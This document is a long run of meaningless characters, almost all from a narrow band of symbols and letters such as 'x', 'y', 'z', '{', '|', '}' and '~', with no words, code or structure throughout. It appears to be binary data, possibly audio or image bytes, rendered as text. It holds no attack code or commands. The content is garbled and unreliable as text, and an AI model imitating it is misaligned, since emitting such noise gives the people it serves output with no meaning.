|{w{}~|}~}x}y|}~z|}u{|}~|~{~~~~~~~||z~~~{|{{{~~}|~~~~|~~}~y~|~zx~{|~x|y~}zv}z}y|~|}|}y{|}x|}{~~}|~|~|x|z{}}{}z}y|}}z~|}{y}~~|~~z}|z~|~}~|{}~|z}|~w{~x~z~||{~}}zxyw~}}~}~|}|~~|}|~|}|}}}z~}zz}~~}~}~~|}}~~{~}z{~|}~{|~|}~}~}~~~~|{|}z{|~z}{}|y}~~{z|~}}}~{~~~|}}~|~~|y|}~|}}~|~~}y|}|}|~~~}~}}y~~~{z~{|z{~}~{}|}{{~yx|w|{xvz}|~}|y}{~{x|~~y}|y~|~|{}~~{~~z~z}~}}y~|}}}}~~~x}|~{}}|}{|}~~{x|~y|}~~~~~y}q~wz~z|}x{||{}}{~w{~~zs{}~{z}z}}~}~|}{~|x|w~}{wx{|~z|yw}~}~||~yyy}zy~{|x{}}{}|oms`etw{x|ouvyxziy{p{xpysouf}~r}qy}~~}}z}zwxvv}xy}~||tz|}{}x}}~z~y~y|m{wxv}}ztpr{uprvzru~~}s|qrwt{{z}z}xu|}{~zyzy{u~}y{|{~v}{}}z~~}}~w{z}~}{|{}z~|szyz}ryxu~|{{y{yzvs|}|v~u||y|z}||x~~z{|q~|y~~|}||zz~u~~yu|x|~|{v{wrmuvkix~y~~~yx|}}|~yz~xw{}}~z}z}{z|t}}||yz|xx}|}~z{|~}{~z}z}~y}~xwz|~}|qw|y|~w}v~x~{|{z{}zkywqxuuy{}}}zu}w|yzu{}{u{}|z~}}{~}}}x|~wvx}zqpov||{}{{~{}{}{~|my{vhjlg~rzvnwyz}w~w~xy{zxwz~y~t{}wx~{y}t|{y~|w|z}s~}syw{}zv}}~v|{{||~|}m|s|{x{uu}}|}wu{xyr~{y~~z|{y}zv~|s~w||pv{~}uxqzyxzq{r}s{|xtzu}~}w|}~u}vwzyww~xzuy{x|yxyz}}}}vzxux~|zyw~}zx~zzzzz|~~qy~zzx~~w~yy~|y{~|z|~x}}||s|y{y{wsoyrx|xs}v|x}y~~t{{{vv}||}z~~~y~|{{z~~|v|~~}y}~~{}{s|w{}~|rvu}{yt{x~xyzgwoomvfln|t~wty|~{onxz|y{vtxzz|}zx|}~x}{|vy|~zy{{zz~yt~{z{}|zx}{}r||m{~w|}~{oyyuz|rtl~ch^orrvisvu}vrsxw}~ty}}w}|~|y~yvy|}~}w|zwy}{xx{|}ust~~|~}~}~{~y{w|nfzvn`ltw|utzxzyrrvxz|t~zyutstsqv{stx~yiy|}tu~tv{}oinsx}{u|xx|yx}w}uyxsy||~|vw~~wwsu~{txh~nu{}}~w~|sz~xwxwxz}{{yqw{|wy}~z|}{|z}y}{y}xv{szzz|wz|u}ou~lzzqyuuxz}wqx|w~}~u}{wx|~xzux}{vzz|yzyy{}ysuvs|zv{|~v}~y|xv}vx~|}ux}tz|}uy|}}y|s}vmntxb~r|ikk|l\tsysx~z|{~p~x}y~}||zz~{~vst{{}~|}w{~v~y}}||~yv~u}}{||y|}}{{wyrwyv}|x}l}{|xx~rxq}n|}uxx~{y~{qqvw}l{{|}w|{~w~{|yyywuw{||zxy~|}xpu}}psx|{y~|uo|rwnymzzurg}r{xl}zzxw|rs}txwwwt~zzy~q}|}u~|}ut{~r{zq}xuxyzjjzx|y{z{~z~zuz||~}wz{}t~z{{w|~|~q}{~s~x~ru~wz|tz}xvxy{vw{~swny{x~wy{z~|wy|z|~||{zyx~}|zxz{xy~|}z{zz}~~}z~z~yzv{xt|u}y}v|sizrpvsxx}~}{zut}{v|snusryu}zw}~m|~v|z{x|}|~}y}|{w|~{}{zwwt}o}{||x|~ns{st|{vyx~}zzwh~Xuha]rz|n{agsl~qww}uz~~x~xky|twr{zuy||~~}~okyqvqzy||x{ty{wx||twu|l~r|y|qxlx~m}z~uxy{rz|sp~u|tx}{}~}vw~|y}wx}|yzijw~w|}poi}ux|jvtx}~urjplv}w}wysw|ty}x}~y}|jm|~~oqysxy~{x|ymu}|z{}v{u|v|vw|stuyXvsozwzlv}w|yvx|z|}y~|li}x|~\r|yksu{eusyo|uwzwutx~y~|~}vzw~s}z{y}yopz~y}|wz~}yywt{n~z{~uyon~p{{xwv~vs~{yv{xlzs~rl{ytv~xw|||y|v{}n|yrxx|xys}w{vzx{zwr{u~wu|t|z}zyw{s||||~w~~z}s}uzy~xs{{~un{|~|u}uz|y}z|r|xzwuz}w~|z{x~z}ryzt|s||y|~}w~w~|{yxovw|y|{xz}sbpj{ktizv|x~|~z|zvs|z}||{~~{{}}v~}z}}z|vx~}z~|}}|z{uzzytxxpwvouz\ruzs{sy||y~zw|z{|x{|x{ym|`xtJxwmdu~~ex{tszs{{q~zuu~|ru}uyxow~z~v{{~x~xqq|q|}kwxxpzzqx}}}u~l}w{v{v|{vu{}m}osspluky~uwh{{dys}|{x~}xq}uu|qvoz|pq{txws~~|xuzw~qq}vsuyyz{ox|}s|wzs~}}Xpsw~uyy}y}or|~x{|~stvz|ut~}{k|ry{{iivtv|u_gjrv{r~pxr}|{tj}zu}{s{t~~~yk|a|}|rs{fcj~q{sa{w{xkb~dxtr~}}ur}}y}ws|~w{}wvvxux|}xww~w~rkwhW_QyywwuwxTtzuq|~kk{{y[9}0w0HTYJ?h_zh]}{z|~x\xnizf{regl~vr{tbwq}kvxmswzutyvhsmhtyzuwozqzt{~oiZxvte[vndy}seqz}xjkrqd~\}e^~yqgrx{~tviy}iUyi~~st|za|t{~nz}}onk}{wf~{e[wlzwzvjlyy~muzr}oznvn|lwr~w{{~mtzzz~u}tqox|~vry~}~}kx|zws~~~}d{kuqwwu}ozca|pwn{sos~x~{z}zn|t|zi|ys}xvq~{}wj\z{q|uq}~~~rrus~vs~or}psupurlxu|r|zye`pytkmj|wt}|{yt{y||uwp{|xv}v|~yuz~ou{w~wwstyxy~utv~yzp{~|~}{`yt}ryzvot{wrwvqp}surw}rryspyrtnu~kuzwqvo{mhw|ksi|Uw}mlzszkwlra{bgf}zv~{{oy{z|pvz~r}zr~z~}}tz}r~xy{~}g~{zxqzwuq~~v~opztxg{reoqrmvq|syv{|zosyr{vyzz~|u{l}yzxusv~yw}|tt[ynlrxx}v{|wy}w{rp}qvzyz}zzr~tpwxx}||ty|~~}yoy}ys~sx{v~uxs|s~|z~wsuu}|o{zz}x~w}~xwx~|zx}o{ybk}vu}nv{xpio|h\v|px}|ohu_u~tyypuu|~vzzyx{x}x|~vw}~~z~x~{l{vr|v{uo}r~}|z{}|vzyw~yzu~v~}y|~w~szxkxnqyo{wu{yoruxy|y{t{~ul|~}}|ymt~shnvsxyw|}~rtv~~s}z|}}zxuzozv|~|{~||p{{||{{|zz{utxwwq|tx{xxv{xv|tqz}wvm}~~mg|hiz}wnss~z~n|}umlzslwz|w{~z}vq~|zw|zyw|uqwyy~|vv|}sz}y|x}}|{w}|z}uwvx|~x}w~w}|{sryx~oz|m~pp~{tu}uwtzx{~|uz|ss~~~vv{~|rzvy}|r||{~{||}}w~{}|ylyzyry~wpy{ctm|awvq~tvx{t~{`b~ozZwi{}{o~}~yywuv}{xpl{r|x|ygu}~xynuxv~u~uu{rtzx{u|~v~s~~v|{yv~yws{{w}x~|uup|dxtzpxyu{vyzuyuyo|wwy{txtw|{u{y{wx|x~y~qz{sy{wspzy{oxqv}w}x|}}|z}|~u~ow~x}s||zyw~}xw|w}~~z|r~x|{{|x}y|y}x|~~xScB;~Vbwcr\twss|uzyjt|}o~|o{rw~txyvur}kqvx~ouwjwoxo{pvpzp|yn{x}|yryvzvyn{|wr~tru|wn~|yq{rp|e}uozqzl~z|y|}{tx}ykypomnusvxs~r}ytg}yzz|xs{{}u}yw{}wzyr{~sgvv|ux}x|{x|}~{{xxuwx}~zyz{y}vgxx{yurzc}hpxqvts}||~}}}rn|r|ttwyx~zwuv~xr}v|qqtsux~}zx{|zy}uou|~z}~z{upw}rwsmsq{u|i{zzn{x|v|urv~}opznqr}t~i}xp{t}r~{eirJsoY{mzYP]|~ws{z}qt|trz{ntxxyv}yxtu}|gr}wkkslvrpr}tdes`{}u}ym}ttqtuxulkng{evtxp|xpvt|z~pqouwy}u~l~c{jm}xw{{{yw{yxrmvxypzny~}|{u}vvv}sotri~~qxflr~xytuvvhvz}pyqwyb|suxvrz|~vwnn~np{z|wo~}}xxz}{qxw|y{{}~{{vvru~~u|}{~uxx{ustkem}x|~xux{t|}z}yvr~sj~z|vyxjvzv}w}tsw|xpyt{y~q|x}|~{lv}uu~}zu|tyorxy~{~wz{}zsszx{}}|owm~zwcGQ{}nwsv}ser||n~vs{xyupwpswx}}iyrzpwwv{uynz~zus~}vv}~y{~r~u}z|}uqym}|pq~}pwuwux}z|~|yqz{xxt}k{n{sj}xw~}|zy|xq~ps~z{yv~oqsy^sywz~uyzw{o}zvz~uzz{{ys}~|z~z}qz}~||yyy}s|vt{zxzw}~{tuzz|xq}y~up{b|fq~l{qwp~~~}vvzys}~~uzt|z{{yyxz}}tz}~z~}|~t}{}zvyx}z|y{xr~w{~~~z{~simkgp||no}ks|hk|qcily{}~pvrrv}qryztoou|qxrzz{}s{w|pz~vq|vyszp~l~}v~ywz|}{~~pyvhzujutnhz{znpil|zvuu}v}~{{vzp{tz{|xy}x|vtz{}yzp{sz}}~n}xyxu|w}||vxx|{}z}twujO~pZ\xTTdOjpkmttvyl}|v}{|{s|z~yqu}vrwqyzyoyvu|}~|{xz{~q~xzuxuzj}p|uw{{yw}}zbrtudr|z{q|s|ybh}o~]i|vxvc}y}jn}wv|w|}||pzu{oxYznielxyhFktvoux~_xxwptyrhyuyYpsuevsnwvs|x}|heuwyzp|{~tps}udh{uo~x~x~yww{v~yz|{~~ovp||zw{xm~xxrw{tyz}~rw}~p~y|z||~txvwyzwn}}uuw~xi|pu~zrrv|sx{lz{wmq}yxw{vtw~r}}uzws~~|x||~~yz}{{|w|~yuv{}zuw~~r||xs{{~z}}{uyuo{vt}nzrw}h{x~xzs}~|x}tz{{|z}}z|q~v|xpzz}t{p~{zx~|svxyyy|~uu}sw~tn{~z|wzyz}|ut||{}uw{~x{xus{ye~pzywtyyyyj}u}~xpuuvzyzwxyx|sw{z{v||r|zx~yz{wyzy~}{sytuz~c|tojxvczqpu{~|t}zr}|zw~zyttzzxvu}}~}|vysyz~~}zttw|~~uxz{|z~z}rz}|{u{~||zww}|ur~yry}px}|t{{~{p||t}oxxr{~o~{t}v~wu|w{xxt~|zu~{xn{zvo|{vt|}}~oxpvyxt}xxy~{}|~sxyxvtz|}zzs~~u|~yyxyzm}y{}z~~xu{{|{{xyx|v{w~~{y{xqx~uvzkyvxsyyqws~{rpwt|vx{{z}~w|}~suw~~cwxkizuyjs}rvy~vr}{uloyvyyx||}yt{|t{uk|~fsgyvx~{}uxv~|y~|txumz{v|wsqxuz}x|~}g|}vlzo|s|t|wqtz~y}xo}|xwxvv}y~y{zyxzml|tvr|xupqh}stfw~rrr}|zzt~r~}~zzxz|o~y~{}}{wy|{}z|w}zywz{}~}{un|x~{|{~}~w~xz~~x}|}|ns{tw~xxu}qxl}||yv~}yx|wz~{r}x}uxvzjxxx~wxouzyz|}vl{zusxt}|}{wx{zzy}{u|xw|x{|}sw{}{zvwuz{xl{}{{uzw~n|vxz}}{~ztwy|~{|u}~}~{}|{~~txzy}{{yx{}}~w|{~yukyrzup}vxwoq|pwz}}wn|tz}wu}~{xu~u}}{~~|yx|szyz~w{zwr}}yy}owtw|y{w}zyw~}}xk{z}||t}|sx|x}r|}}y{v{qu|{~wzy|wszux~~|{{ywwyxo~~}~}vz{{|}ors}~}~~uyzju~|rx}~|y~zuzoyvtx~~w|m||~p|{|{z~~uzss}hR`hnrs|uv{}lzqt|zuwxpys~}xy|rrlwkv~wtx}vmxq}yoy|ymrst}z|xz~v|}wz~_tw~|ywtz~}|s|v~tzyutpy}v|ym|zl{q}|w}~y~wxyzuy|~{}zxtqvq{}~xzz|wrjzo}{|z}v{mxxq~lntxy}xtxw{|x{}{{qt|zu}rr{|yxw||}dhexdmbrmy{wq~~z~sw|zo{}~z||z{~n~{yt{yzzzq~~vyn~~w~vv}{~{}z|w}y|~~yuw~|gl{ptzs{{}}ozstwwyuso|~sqwuz}u|yut}v~|~q}hxxlvufn|wwvzuxvrtryz~~~~xpxyz}tv~|~uw|}}~m}}xy|~tz|txzz{~wru}tru{y}zrv}zqmxmn~zs|sz~vu|w|tw{y}xupx~~y{r{y{~zs|pwvmz|zlw|r|{w|}z{w~vvu}}tx|w|{{|~yyyyz|}u}|x}{{|{}vvw~}{z~~tjp}sgxmjoNvYmZgx{||wrwyls|w|}xwz}{xw|uqmw~{pOvT{a|hywp}|{zyqzjt{umusxhyuz{}zuw~myu}||~{e}ztx}yyzz}s}lsg|uxp}u|v{xsyzpr~}u}lpddws{wtf||{nvptu~v{sr|y}z}ywp|s{ysy~zn}}}v{{xi~ftly}}}ou~uww}p|zsu|v}|sxqxou}~wotu{~wyvqy}}z|{uzx~yw~~{sy|zw}|yy|tzzu{|~z}|t|yzy~{so|{utu|z{|x~s}zy{{vn~h}y}{{}xzv~||~~yzpwx{ou}k{}{|~~vzyv{s~z}wox|ytwt{o~ypp}{}k}jxvk{wz}~z~}z}v~ty}wxuvv}y|v{~u|wx|~{z}}x~yu}}}}|~y}}|z||qwhwox~~ukw|vyx~xuytx}y||}tv}yy}}}yx~vvqpx{zp}y|}zz{v}rx}yxv|utvt{s{sx|}{{yvw|~sqz|}x{}}{uz|y~~uzuu|vyouwzvw}yzty{}z~uz}x{x}|}{x|z{}|yxx|t|r{wy|}|~~vwyxy|wzp|{yuvu~}wy}|zuz|x{|wvuyyy|zs{}yxuz|~p{|{~u~}~yu~u}~{{zxynx~~z|o|nfjlmuoghl~yvyz~u~xx~z{yz|}}}|yrn|{}}z|{~r{}w||y}w{uvz}|yxzuwvtv|}uv~tyv|su{w|{y~{ryz{~zyq~tj~t{t}||uy|||z|}vx}{qw{}z{xnmzz|q~{yz~z{}}x{yz~ss|}sr{tsyxtstv|sxvv{}}x~wx{zyn{yzqq{}|z}s}x}tzv{}qvt}|sxz{yzr|}w||vss{z}yszq{~vx{zq{y|~}~x~o{}yxqry}|{vq{|x|}zzx}}|}|mv{~xt{y{|{}u|x{~}|xz}vyvx|}vziv~~z~{uu}vw{|}x{yw|x}}qn{x}z|||zz}zy}x{z~|{{z|}{u{s|~s{|~y}zx}~|wwz{yvzz|~{yvvry~}tvymxt|||{z|~ytuuz~z{zyz}{{xn{wxyvx~|q~{~|yxywt{~zw|x}|s|ovs|ltv~wqriwzt~~{|wz}stx~~{pv~|z~}~x{yw}y||{{y~uuz|x}{u~{|}wxzhx{xntw}ytws||ulr{|}~zxzyz}}wy|oy|rsswvvy|p~z}||~|~}z}|}}zvfnpwqevx}{o~rv}}zvvyqq}|~u}~u{{yt|}sx{u|}~~~|vzyyu|z|r~s|ww~~}rvz~{tws~y{y|lzxw}vwt{urs{z{sx{rxn|y~w{|{{wuyyzulqy}zuz~sx}}{v{zwxy|ywuwxww~zyv}v|z}y~y}~~}~u~ow{upqlxtyvkbff{kzx}yz~|wtt}t~rvzy}v|}z|}{~ytzysx|ku||ytutzr}uxx|uy{uwmw{xux~qykzedl[ez~~xz~mumq{nlnqum|{u{uuzuuxxz{|wq|jrxu{xfp}tjjjv{|xvz|vustyxu{uuxzx~~~r|nlbx}n{w}pv}yyyfz}t|y{k{t{qczwbhWiww{s{^y{cpxrrzpyvt{w`wm{j~yvz}v}w|wtsxu|yv|}}||xwmv|n}~r~x~vtv}w|ixmZ{vtM]ewd}io||d{zq~{ev{q~{rx~vqxw~myz~{n{}~ywx|}w~~vmuzm~}ovz|}}}zxmy|us~x}}vukyksx{}rtvq~|}lzwvsxuz|yqzsu~uzv}zq~sqssw}yrhq|nr~qyzzxxq|xsyr|}z{~novtwyvnwvy||mzwzrc}x~iw}z{~{pyvh~~s}|suo~twt{~u|vwtx{y~w{~xwv||{~pz|zsrzxox~|y~x|}x|xu{w|w~z|y}u{~xxx}|pux}xi}y~czvv|x|{qx|v{{vs|vuzyy{y}yuv}v|xwy}}uzzxv{|~wzywzx{{z~}}zv}y|wu}xr}s}|{{t{yszvw|zz|y{|z|~xzy|flXuqrDYnc^|Zguxr}z{pxwr|zlyw|x{s}yy~}z~}~|{}rsnr}|vz}vx{~p|y}{y||{|syzxtz|{{xpx{zo{~~cr}|~ujzx}|xzsz||~l{}|py}{y{yvwq}{~}}}vz~|}tpzu|y~xtm}{{z|~us~wsxws}xm~rqy||ust}{~xyzs{|wzw|z{}~|lyx~tzwy~ow~}~{y{~}u|ys|u~v~w{ix~z~otthyqukgqw{~zyq~lu}uikvnytyyzx~yswxvorq{u}nyxy}ywyvtyywxx~dzv~u{u{xwe|x~||s~z}|}sy~svw~wl}x}lwp{sx}|}u{~tv~xv{}u{{zqxzqy{{~yxvywyw|ws|||zwvw}|||}}}{|ytqq{ux~y{{|wxy{y}x|kvv|~~}}|x}y~r~{}{|~zx|}}tvruxw}|{{vUe|Zhtmr{w{upup~}v|yx~ux|xz{x}wx|}tx{zs|wuzsp}~}yz|}zq{yyy}}|~~~~x{}{||p}acXjwdu|sznwvr~vz}}lsjxz]{ytb~plx{y{v|}~|}|wyy~v{||}zwq|x}ztz{n}xow}zz}k}~xz~~~hvxr}tyqxz}o{tvwo{~pzvzwzvy{u|z~~u|xxzvrtqxxp{yv|}{vzy}|z{nr~urc}n{gty{rwy{wzwtw}wy{v||z~v}vsrxqn}x|{zx~{vs}~x|xrux|}|~{zyz~}ovz~nxt~|yysouwzy{yuw|ru}qxw~~~|tx{vxp~u{}u}xt~~qtt~}u{rx{vt|}ow}yvsw{{qx|v~x|yxq~}r|txt{|y|x{{w||{yxo~sw~}uz~~zy~t}yz||w}}x~yuwy~w|v{qwv~rxyvssVdWuAvXtY^dd}}`x|}tkqqk|yuz|{xqsnxmrvvj}pi}~{~|m~b|xx||glwiurz{zylx|uszwgcy}ze~pv~uwfsir|zz{swiqoqxuxn}yxxzei|zew|eo}vu{t{uqp|znxxertytsysxtnr~~vrouyrv{qmx|rtx~y|wz{}wpw|rq{y|w|zw}nty~r|~}xsph}}|}uxyvy{}{}v{{sqz{~~tz{~yzm}~{|}{{x{t~txz}o{rsz}s~{}|xy}|~zy{|xyt|}px{u~u}x{t|vvu~}{}sx~t}t~tltwl~ztu}}~}x{{wxw~xe~}w}~vyz~{vwwz}{|z{y{u}~wy|~}|yux}~}yxlq}x|}uyt}~v}|{~|s}{~}|x~{~z{o|vyxt}{{~yt{wy~}{{y~zzp~z~p}{r}yp|ozi|u|r{yzu}~zjy~oxfm|rfl~yuz~~vwx}uwsrz|z|myz{p|~}~~u|sww~l|wwu~yozu|x{yz|vt{w}wqts{{juynzyvst}e|jvi}{xwsvy}zvyn~n~|xyyq~zy}ztu}z{~||||stvnux}|r{yxxqw}z{y}~~|v||zyysyptqqtsw{j}h~{unupx~qvz||zxt~}zz|{{|xuzzzw{|z{}|{~wxjwvKiswplqe~yq~uywvr}yzy{z|zwxz~xzzy|vz|}qv}|y|}{{zzy}}xrzypriakdvz{f~}z|jvgy}~otxw}s~}lo|vx|{yytzuw|wpyu|w|}x~}qtR}zkbail{mxsttur}z||r}zzuszv~|y}wyr}pr~}yvzz|nputzyw|~uytwoyykyq~ln{u|zp~||{yz|{u|zu}ys}|t~}pyxumzuwusw}{y{y|x|~tykxu{xx}mq~u{ylv}~w}sywz|r||v}sy}}}r}z~{u~ou{|{~|m|u|~zz~zz~y||u|z~}w~{}xpz{vt~}wwuzvv|ir~wvx||x{~vzvz{|{ypvm~t}{wo{tsy|sysuxx|~uwuu|~~y|{~~z{y}q{{syus~~vx|xv}uivr{zvv|xppjsorn{~w}z~{znp~uq~}{{xr{xws~u}{z{}~ylwzqzv|||~ap{pym}oqv{o}s~~~}p{|jx|v{u}z}r{}r}y{}sz{uxwqphs~tpu|og|}~bo{zv|vxmqyz}xq|t{vtvuvyspy~z~uw{w{qmump~|~ymspy{ys|~{zsrtz~wxwnsm~zgjtrzgty|~zuz{{~mwyrs|zw|vn|wpz~{~wyvo{xxr}r}x{}p|yxz}|{~|vw}~~x|~xyzhtz~u~zs~dvm~kqw~svpows}~}z{jv}{z{{xxzz~}}|{|wszlmak^kgwh}hxxu{z{w}vxk}||}o~o{{qrxz{~~tu{wp|{t|{}|{zwzwvl{w~ro~|z}~}xoyny}uys|pz{jr{t}x}szrk|ryw|suz{y~}uw~}{t|t}ws|voqwviv|yzzzzt~w{~xp|xo}xwx{ys|xy{wur~stzqvx{}uzs|~zyv}~{{zuwxqt{}|uxuqs}|luz}uzz}z~ts|}|}s~z~x}z~s~y{p{|~jxv|}{n}q~wrq{syko}z~oq|s}vy{~xtq{n`qwywx}|}~||r{y|y~}{~y~v~vv}z~yyyt~rx[swtxmwvv{u~~xzr}}}qrtz{}}p}x|y|uyyyz|z}wvr}~qsvyzu}|vv}xxy|~|ut}~rs}{uyyuwtu{ww|z~}|v~xwwzxw~~k~}v~vxuzo~xusvs}~{s||||ou}~|w~}|~lwtx|~wwyzto~~{}xt~w~u~o|rzsz|uv|yx|}swyr~|imww~~px~ti{py|~}x|zynijwtulbg{t|vz|w~}t{}y|xq}rj{{{{zyvu{xzptq}zyxy{vywvvuxzz~t~u}r~|z~v{{ytxz~swux{mxr|~y|zv|zz{{|~|~xxz~{v}z}{z}}yyx|{x{|{~v~x~z~tzy{x|~{|~qzwwwu~zwqy~tnmtxvktm}vvfu||rzz{~u~sovxz|yux~zw{qz|{yz}rvyr~}|{}y~~}{z~ypuqwrw~}}}t}ivzpyx|s|||u}x~x|~{yxzwt}~wyyo{yy{xmnv}okx|}{wy~}xx{zuw~}}|{zys{p}zs}r{~iqwpwzxyq~tx}}vyx~~xz|{|{}|wsp{r~v~{|o~}||w|}v|z~}tyz{tw|{~{x}}y{~cgpneVieqzui~y{~}zw|txr}|y~yr}ny}{~mxsa{_Kqgs[gnys{{u{rytkz~xy{}v{s~u{|x}qryz|}z}x~~s{y~|}{|zry}povv{~~|nowx}~o||{rwv~}vx{n||~v}}xytotymuruqv{f~{~nn]nktu|ovuusy{z{~{zlrv}|w|yrz{x}{zzkwbrzqv{u}twmt|x||yx}xzxnuc}wg}tu}yt~m~|mtzzxw}}vnryz{||u~y~oqwzow|u{swwtwm|}z|z~{}nm|r{ut|uoxzs}~||x{qwzo|zun{twizx|}hj~q{~}{u{y{yxt{y}st|ww}}}}wwzz~uv}ry}luxtyuyz{wuzw~|z}yu|wxxz~q~wvs~yrwvzz{w~|ysvt{}~~tw}{|{~{vvwzw{{{{pjx{~x{u}wz|~}y{y{xyx{|z|u}|y{t|vv}zpiv~{{|}ypqnu|}}zt}}}vttpyvu|st||}yxyw{xzr{xx||wyyw}p}xvzy}tvy{|y~x~~~w{vvx~{t|kz{~~|w|yx|wwxy|{}{w~w|y|~xtw~v}{{|y}zwr}xvz{}zy{|||{~{}y~zv||w~|z}xklz|w}~{w~zwyzz|rizyw~z}{zz{~y~{zytyv}fiQnwkgtsyvsx~w~y~|~}zoy|{{{wwtzxyv}|vy|}wk|~~yxz{{x|~|zowy~}zz{lnwtt}tw}vovvy|yix~}zz{zyqw{|t{{|yq~yt~u~x}|x~x|x}~z{v||{zwz|z{pz~vyyx{vwxt}u{wpww{to|{{w~s|spqq>kaHNfuqxz}ztuutxvtq}ix}vzy|qz}xp}{qr|vt|~syxs|{yuuzvutxy{~~spzxr{rqz{suyzpt|pwwr{x|~uq|~z~{z~t}{t{wxv~ei~yoozlyy~wyi{{txxplduxz}tz~wtz||}~zvu|yti|y|{x|w~z{s|zo}}{f{v~~u|xz{{z{{y~y{xz|mzzvz}trs~{{~|~y|w|rw{rysnvutxy~o|wskqz|gd|Hyw~qtzt{m|q}wpz|mvz~}vv{ygt~yty}|}~{w|zwxz}z~~{z||z{ytv}tzoy{r}sz|w}kow~|nwyv|}nzeqy|un}xus|}yvypuy|xssws}y~z|z{~~qr}z{|o|{rvu~}zx{||uv|{v{uwx}uyy|wwyqu}urx}xm~euv{wyzx|}~zu~}|txw~oryryy|{|zv}}~zxzzmwtvgzxysw}zv~zw}x~w}}qwvz}yxw}}~zysw~zus~}|rz}~~rv}z~z}{ottyyywrscx~usjpsv~t~vv}v|pyvxytty}wzn~x}x~y{u~qwtw}z{xr}~{u~x{}z~~vv{~y{{z}t}~~zx}nu}u|}wty{wwx{}}x~~qzxy|z}xw~xz}}vymthuiyh|zj~ztz|x{wzu{quxxu~o{lalUhTs~csuu~psyp}ot~o}sz|i}||{~w}{syw|}wtvf~v}ip}~{~wsynuu~}rr~rz{xv|}rrxuuvxvz~|s}{`u}{yxyzzsvrr}ztuq||y|z|~u{x~{{}zoy|zxt{wuwwvzzzkwtn{p|wcqwXwrLZglrmy}jx|~x~{sy~~v|{|~|{s{{ry{uvss|~j{wgn|vtyp~~{}xz{o~w~~kd}Xvxo|qj}}wpl~~k{ztNsuvvxrz{swl{{ssu{~w~xsuy~yywxq}vLOgtzwqeXz{iy}w{ysxv~xsvpyy{v~y{z~vvm{vszsm~}pwswbry|~zpt|y~qr}{~w|t}qs~|t\wwxxcgvZXxtoyzo||r{us}|rv~{n~|||xsxs{lu{{{nxrqz|oxn~rzohp}~lysZrlu}|{{vorw~~{zyvx}su}t{xww|tj}~|y}wrw~n|pxy}u}~xn|{zo[ezsJmJc6]bkvkxjjz~zpxlyvltxl~gywx||un}}w|o||mstrlz~r|xxxltsw}uwbypWb[ZDi}`\Wnut~||uww}pogwrhxx}{vusuwzwnz}ty{zwvxq{orwtsxy~tvn~x{~}|mu~u~{u}nypn}{o~lolwi[zkvzjs~|g}pyywfhzh~}xwsz}r|vurxstvvzx{m~y~{~z{x{rq~nvz{|uxt{z}|x}{pxwurww~|~}sz~urv|zyzy|t~xw}ts~wz~~~z}xz~}|}~ux~x{~~znxrzv{lzxzouso{z}sr~y\lmuvullk|htxskt|rxv{u}z|~uq}qx{tw}ym|qqt{|}|~t{{}qxu|sv{uryyp~|}{ty}y}|rtvuytxwsvykx|vjvvrnw|f{}|~s|zzzyv}ylyst|r~nrsz}teo|}txzy|xj{|ny~~qn}{xr{}tszyy|r{d{uzv{luxzuy~~z|{vuv|}z|rwv{xuzx}nvvs|ez]nyvocz_qoz|oeywzx{wxsw}{u~wvur{}sz~uxw{~xwwvw{}yutzvysr{~|ytz~omquwx~xq|}z~~vw}v~xy~zp|{y|kw{{zx{sxt|vyy|wt|sy~j~~rvq{jqujrdqx}w~n{v{yo~y~{|||}sqxt}|y~}{x|tvw}{{~}wtzzy~}wu~v|uyu|zxx~qkwy}|yw}y~s|~}x{~xu}{~}|x~~~yuzo{qko|~yjzr|x~ol|}lnzzty|||{r~xn}~qsy}{t|}|}||w{yz{{u{y|}zxxy~~|x||~}~~}yw|surV|j{ul_byu}x|\gwz{ws}ttyzr~z~vu{rzrz}m}z|z}rytzx}o|~w{}v~|o}wv{n|un~qv{xx{ttxqxyz|qx~}sm}vp{iqqco|@}sMuBo}ah{oku~hk}~px~sytpu~qm{vyu~sxxtwt||~~xs|rh|q|m|puwzrnxzx||~}ur~x}}yxqkqyrsn{|wl}dzwZkuu{}zxlirqttx}wwmz}p~yn~}v~|wkytxyuhr_\qor}rkzh{yy~s|}synlxwtz|xmpyqw}ztpz{lwttnr{osxrnyz}oz~w{rw|nuzzw~twyvy}{v}z{k}uos|ww{~rqzguk}zv~qx|~~|xw}~|v|ty~zqvy{q{vx}yz~}x~|txz{xvz{y|sy|~o}~|z}|}vmvyzi|rz|tyvzt{mr{{w}z~}|}}x}z|}}~v}~w}wvx{{}~yw~yyr}~zt{zyp{|{~}}h||wv|{w}{{}}m~x||sx{yyzyzztuwz{{wpytte|}|w}{vyo}ps|er~nqtzqsx}ws}}}soz}}}x}~{~ys~||{|}{|s|}{}y|~}x{~yzvzqr}v}z|yws|yxv{~|yyvt~|~ouxuy~tyow~w~}sxvwq}z~xjj~t|ss{rzvs|}{yzw{xxvxv|ux{tww{ovw}x~{p~p}zozxu}|{{}}~zyzqqzy}~w~|z~}wxyzrwyssxyo}|{}wzvz}k{]om{t^mpmuogyx~i}st~xly{{vyzw{yt}tw{v{oy}}tu}{yz{{~~}x{~~}vrtmu}zwv~wxxw~i{^_oxuugwyx}{tv}vuvzzcudjisv^Uypqhvw~zvuyjp}wkrv|xyvz}wycco{_h{z~Cvttpd~lc{z`vnu|fv{wrqzxwy|mzi{to~}zlz}zpx{vgrss|ys}x~h||}}|ttxzyz_|rmsm{_w}x{qroz}zxyisyzvu|hmuwz{o}zhvozz|surq|th{soiyvsqrxjqtyz}mw~~|ysz{z|u}s{}}yq}}txvtu|}lfxqt~}ks|~j}sxnz~zyuw}s}px{xw{vtt||wsy}w}~ypux|zh{t}t}}zrxvr|uzv|~{{y~z|xpxtzvt||k|snsp}_}}i|}w}}~~zpyw|zw{zwwz|tz{x~ywyug{o{zq{vu{wuyvv{tz|xv{}|v|kwt~uvvsu|qxu{vnz|vy~{qzq{{zu|xrzvsu{zyyzz{~xz}w~xy{{~}s}x|q|~zyw~w|z|}m~}~zz|t|hcs~qjy~wou~y{~ss|z~sqryyu|}xw~txwuqxw}wrsqrzy{~u}zvvx~y{wzxvzbo~}y}srkjomtnsy|{yyvx~~zvn~}uygjii{[uHMR}dqt~v{~xjrx~~|sywx}t~~t{~}yozxz|ku}yvspk}xwq~cvt~hzex|n~y}yv}}|q~oy}n}}mm}{ryp}y~pox}{inzwu{|u{tzkz~px{w}~|v}s}z~z}xx}|~}z}u~yp|~stzyy~q~|t{}w|so|r~r|uzyq{~tqy}|wt{u{u~wy{tr}}~wx|s|{ypwzyx{mm~yuuz{x|}bpvtw~uu|}|{zzy|v}~}~z~|v~u~uq|uq{~tsv~m~y}}xvysuypmx|wbpz}ryyxyt{~y~